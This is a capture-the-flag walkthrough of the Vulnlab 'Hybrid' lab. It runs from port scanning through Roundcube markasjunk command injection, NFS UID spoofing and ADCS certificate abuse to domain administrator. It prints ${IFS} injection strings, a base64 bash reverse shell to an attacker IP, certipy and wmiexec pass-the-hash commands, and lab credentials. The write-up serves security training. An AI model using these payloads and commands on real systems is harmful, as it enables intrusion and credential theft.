CTF-Writeups/Vulnlab/Hybrid.md
2023-07-12 22:25:38 +03:00

11 KiB

Vulnlab - Hybrid

dc01

NMAP

Nmap scan report for 10.10.177.197
Host is up (1.1s latency).
Not shown: 65523 filtered tcp ports (no-response)       
PORT      STATE SERVICE    VERSION                                     
53/tcp    open  tcpwrapped           
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped           
445/tcp   open  tcpwrapped
464/tcp   open  tcpwrapped
3268/tcp  open  tcpwrapped
3389/tcp  open  tcpwrapped
|_ssl-date: 2023-07-09T15:21:51+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Issuer: commonName=dc01.hybrid.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-17T08:29:18
| Not valid after:  2023-12-17T08:29:18
| MD5:   503e6a310914a23a96f899c161496768
|_SHA-1: 8b350872418cb813302ad430acb1b1497acada2e
49669/tcp open  tcpwrapped
51915/tcp open  tcpwrapped
51928/tcp open  tcpwrapped
53128/tcp open  tcpwrapped
57220/tcp open  tcpwrapped
Host script results:
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
| smb2-time: 
|   date: 2023-07-09T15:21:28
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

PORT 445 (SMB)

From dc01, we only see smb service running which we can try enumerating with anonymous login which didn't worked

mail01

NMAP

Nmap scan report for 10.10.177.198
PORT      STATE SERVICE  VERSION                        
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)                           
| ssh-hostkey:         
|   256 60bc2226783cb4e06beaaa1ec1625dde (ECDSA)
|_  256 a3b5d86106e63a418845e35203d2231b (ED25519)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: Couldn't establish connection on port 25   
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu) 
110/tcp   open  pop3     Dovecot pop3d                  
111/tcp   open  rpcbind
143/tcp   open  imap     Dovecot imapd (Ubuntu)
587/tcp   open  smtp     Postfix smtpd                  
|_smtp-commands: Couldn't establish connection on port 587
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Issuer: commonName=mail01
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-17T13:20:17
| Not valid after:  2033-06-14T13:20:17
| MD5:   38372b812fb16f03436025b4d26bdb29
|_SHA-1: 61c2400271ff7850e0da4a5ae256e7df666bb008
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Issuer: commonName=mail01
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-17T13:20:17
| Not valid after:  2033-06-14T13:20:17
| MD5:   38372b812fb16f03436025b4d26bdb29
|_SHA-1: 61c2400271ff7850e0da4a5ae256e7df666bb008
2049/tcp  open  rpcbind
33893/tcp open  rpcbind
37693/tcp open  rpcbind
42661/tcp open  rpcbind
46025/tcp open  rpcbind
47609/tcp open  rpcbind

PORT 80 (HTTP)

mail01 had web server running on port 80 which redirects to mail01.hybrid.vl

Adding the domain in /etc/hosts file

This brings us to Roudcube webmail login portal, trying default credentials like admin:admin it didn't worked

PORT 2049 (NFS)

mail01 had nfs running on port 2049, we can list the share available to mount

showmount -e 10.10.177.198

We can mount this share with the following command

 mount -t nfs 10.10.177.198:/opt/share /home/arz/VulnLab/Hybrid/share

From this directory we can find backup.tar.gz

Extracting the archive

From the opt folder we can find a certificate

And from /etc/dovecot we can find the credentials for roundcube mail

Logging in as peter.turner we can see an email sent from admin talking about spam filter

https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/

Foothold

Following an article for remote code execution on markasjunk plugin we can execute commands by changing the email address of a user by using ${IFS} which is a variable in bash that represents a space, tab and a new line character

admin&curl${IFS}10.8.0.136&@hybrid.vl

Now mark any email as junk

We'll get a callback on our listener, so the commands are getting executed

We can get a reverse shell by base64 encoding the payload

bash -i >& /dev/tcp/10.8.0.136/2222 0>&1

admin&echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjAuMTM2LzIyMjIgMD4mMQo=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash&@hybrid.vl

On doing the same procedure, we'll get a reverse shell as www-data

In /home we only see one user which is a domain user, peter.turner, I tried switching to peter by using his roudcube password but it didn't worked

I tried cracking the password of privkey.pem but it took a long time so I decided to give up on that

Reading /etc/exports file, we can see there's no no_root_squash so we cannot place bash binary owned by root user

We know there's peter.turner on the victim machine with the id 902601108

Before creating the user with the same uid on our machine we meed to allow the creation of uids above 60000 range

Edit the /etc/logins.defs and change the UID_MAX value

Now copying bash binary in the mounted folder

We can see that this binary is owned by peter.turner since we used the same UID and it's a SUID, but on executing it wasn't being executed due to a different GLIBC version, so instead transferring the bash binary from the victim machine and making it a SUID

From peter's home directory, we can find passwords.kdbx file which is a keepassp password safe file

Reading the kdbx file with `kpcli` , it asks for a password

Using peter's roudcube password it worked on this file

From hybrid.vl entry we can get the password of peter

We can use this password to check privileges of peter, which can run anything as root

Being root user we can access /etc/k

Running python-bloodhound to enumerate the trusted.vl domain

python3 /opt/BloodHound.py-Kerberos/bloodhound.py -d 'hybrid.vl' -u 'peter.turner' -p 'b0cwR+G4Dzl_rw' -gc 'dc01.hybrid.vl' -ns 10.10.132.229

From bloodhound, there wasn't any path from peter leading to domain admin

Enumerating ADCS with certipy for vulnerable certificates

certipy find -u peter.turner@hybrid.vl -p 'b0cwR+G4Dzl_rw' -vulnerable -stdout -dc-ip 10.10.228.165

Members of Authenticated users can enroll and authenticate any user with hybrid-DC01-CA (ESC-1), using old-bloodhound to get the result in json file so we can view it in bloodhound

certipy find -u peter.turner@hybrid.vl -p 'b0cwR+G4Dzl_rw' -dc-ip 10.10.147.37 -old-bloodhound

https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json

Make sure to add custom queries for ADCS in ~./config/bloodhound/customqueries.json to analyze ADCS in the domain

After putting the custom queries we can see the templates being reflected on bloodhound

Marking hybrid-DC01-CA as the high value target and checking the shortest path to hybrid-DC01-CA

So now we need MAIL01's hash, going back to linux machine as root user, we can extract the NTHash using https://github.com/sosdave/KeyTabExtract from /etc/krb5.keytab

From certipy we didn't found any template names, from bloodhound we can see two templates from which using HYBRIDCOMPUTERS

On requesting the certificate, it was giving an error related to public key requirement

Checking the pem file we have, we can see the size of the public key, which is 4096 bit

Specifying the size of the public key file and requesting the certificate to authenticate as administrator

certipy req -u 'MAIL01$' -hashes ":0f916c5246fdbc7ba95dcef4126d57bd" -dc-ip "10.10.228.165" -ca 'hybrid-DC01-CA' -template 'HYBRIDCOMPUTERS' -upn 'administrator' -target 'dc01.hybrid.vl' -key-size 4096

Now again with certipy we can request administrator's NTHash

certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'hybrid.vl' -dc-ip 10.10.228.165

We can get a shell through wmiexec

wmiexec.py administrator@10.10.228.165 -hashes ':60701e8543c9f6db1a2af3217386d3dc'

References